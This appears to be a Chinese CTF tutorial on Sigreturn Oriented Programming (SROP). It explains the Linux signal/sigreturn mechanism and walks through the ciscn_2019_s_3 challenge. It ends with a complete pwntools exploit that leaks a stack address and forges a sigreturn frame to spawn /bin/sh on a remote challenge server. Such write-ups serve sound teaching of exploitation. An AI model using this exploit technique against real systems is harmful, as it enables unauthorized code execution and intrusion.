SROP SROP的全称是 Sigreturn Oriented Programming。于2014年在论文Farming Signals——A return to Portable Shellcode中被提出。SROP与ROP类似,都是通过一个简单的栈溢出,覆盖返回地址并执行gadgets控制执行流。不同的是,SROP使用能够调用sigreturn的gadgets覆盖返回地址,并将一个伪造的sigcontext结构体放到栈中。 sigreturn是一个系统调用,它在unix系统发生signal的时候会被间接的调用。signal机制在现代操作系统中应用广泛,比如内核Kill一个进程,为进程设置定时器,通知进程一些异常事件等等。 Linux 系统调用64位和32位的系统调用表分别位于/usr/include/asm/unistd_64.h和/usr/include/asm/unistd_32.h中,另外还需要查看/usr/include/bits/syscall.h。一开始Linux是通过int 0x80中断的方式进入系统调用的,它会先进行调用者特权级别的检查,然后进行压栈、跳转等操作,这无疑会浪费许多资源。从Linux 2.6开始,就出现了许多新的系统调用指令sysenter/sysexit等,前者用于从Ring3进入Ring0,后者用于从Ring0返回Ring3。它没有特权级别检查,也没有压栈操作,所以执行速度更快。 signal 机制
![](https://img-blog.csdnimg.cn/6dbfe67b4f65497aa0d090bb4a0cb1ac.jpeg) 编辑
当有中断或者异常产生的时候,内核会向某个进程发送一个signal,该进程被挂起并进入内核。 内核为该进程保存相应的上下文,再跳转到之前注册好的signal handler中处理相应的signal。 signal handler执行完毕后,内核为该进程恢复之前保存的上下文。 恢复进程的执行。
具体步骤如下: 一个signal frame被添加到栈,这个frame中包含了当前寄存器的值和一些signal信息。 一个新的返回地址被添加到栈顶,这个返回地址指向sigreturn系统调用。 signal handler被调用,signal handler的行为取决于收到什么signal。 signal handler执行完毕后,如果程序没有终止,则返回地址用于执行sigreturn系统调用。 sigreturn利用signal frame恢复所有寄存器以回到之前的状态。 最后,程序执行继续。
SROP正是利用了sigreturn的弱点进行攻击。首先,系统在执行sigreturn的时候,不会对signal做检查,它不知道当前保存的frame是不是之前保存的frame。由于sigreturn会从用户栈上恢复所有寄存器的值,而用户栈是保存在用户进程的地址空间的,是用户进程可读写的。如果攻击者可以控制栈,也就控制了所有寄存器的值,而这一切都只需要一个gadget:syscall;retn,并且这个gadgets在一些比较老的系统上是没有随机化的,通常可以在vsyscall中找到,地址为0xffffffffff600000。如果是32位linux,则可以寻找int 80,通常可以在vDSO中找到,但是这个地址可能是随机的。 例题分析一个简单的SROP,ciscn_2019_s_3,附件可以从buuoj搜索下载。拖入ida,main函数直接调用vuln函数,跟进查看。 ![](https://img-blog.csdnimg.cn/4661c8def6134da2b0e59c98a5a464c0.png) ![](http://data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==) 编辑 发现两个系统调用,调用了read和write。函数栏还有个十分刻意的gadget函数,跟进查看。 ![](https://img-blog.csdnimg.cn/c237b4f3596745cc9474b079ee8bec51.png) ![](http://data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==) 编辑 直接查看汇编语言更方便。这里是把rax设置成了0xf,结合syscall推断这里是进行0xf号系统调用,也就是rt_sigreturn。通过rt_sigreturn来进行execve("/bin/sh")的系统调用,也就是: - rax = 0x3b
- rdi = binsh_addr
- rsi = 0
复制代码同时,把rip设置成syscall_addr,就可以进行系统调用了。 那么就需要知道binsh的地址和syscall的地址。syscall的地址很简单,在vuln函数中就进行了两个系统调用,这两个地址都可以。想到vuln函数中有一个read和一个write函数,可以进行读取和泄露。read函数把内容读取到了栈上,所以如果想获取输入的地址,就需要泄露栈的地址。调试查看write函数到底泄露了什么东西。 ![](https://img-blog.csdnimg.cn/807deefabf0e4709a10b5be175e61b20.png) ![](http://data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==) 编辑 单步跟踪到write函数这里,发现buf的地址是0x7fffffffdcd0 - pwndbg> x/10gx 0x7fffffffdcd0
- 0x7fffffffdcd0: 0x6867666564636261 0x000a6e6d6c6b6a69
- 0x7fffffffdce0: 0x00007fffffffdd00 0x0000000000400536
- 0x7fffffffdcf0: 0x00007fffffffdde8 0x0000000100000000
- 0x7fffffffdd00: 0x0000000000400540 0x00007ffff7a03c87
- 0x7fffffffdd10: 0x0000000000000001 0x00007fffffffdde8
复制代码write可以泄露0x30大小的内存,也就是从0x7fffffffdcd0泄露到0x7fffffffdd00前的那些内存。回到ida中发现,mov rbp,rsp后, 没有进行下一步提升堆栈的操作,也就是rsp一直和rbp是一样的。这样造成的影响就是,最后retn指令(也就是pop rip)返回的地址直接就是理论上的old_rbp,也就是buf上面的地址。 所以0x7fffffffdcd0后0x10字节是buf内容,紧接着0x7fffffffdce0是需要覆盖的返回地址。再往后可以被write出来的0x7fffffffdcf0的内容也就是栈的地址。计算一下偏移为:0x00007fffffffdde8-0x7fffffffdcd0=0x118。 这样,思路就很清晰了。我们需要调用两次vuln()函数,第一次用来泄露栈地址,返回地址处覆盖为vuln()的地址;第二次先跳转到gadget()函数,将RAX设置成15(sigreturn的系统调用号);再调用syscall,参数为signal frame。 exp: - from pwn import *
- import pwn
- file_path = './ciscn_s_3'
- context(binary=file_path, log_level='debug', os='linux', terminal=['tmux', 'sp', '-h'])
- context.arch = 'amd64'
- _debug_ = 0
- if _debug_:
- p = process(file_path)
- else:
- p = remote('node4.buuoj.cn', 27479)
- vuln = 0x4004ED
- gadget = 0x4004DA
- syscall = 0x400501
- # leak stack_addr
- payload1 = 'a'*0x10 + pwn.p64(vuln)
- p.sendline(payload1)
- stack = pwn.u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x118
- print hex(stack)
- # SROP
- frame = pwn.SigreturnFrame()
- frame.rax = 0x3b
- frame.rdi = stack
- frame.rip = syscall
- frame.rsi = 0
- payload2 = "/bin/sh\x00"*2 + pwn.p64(gadget)
- payload2 += pwn.p64(syscall) + str(frame)
- #gdb.attach(p)
- p.sendline(payload2)
- p.interactive()
复制代码
|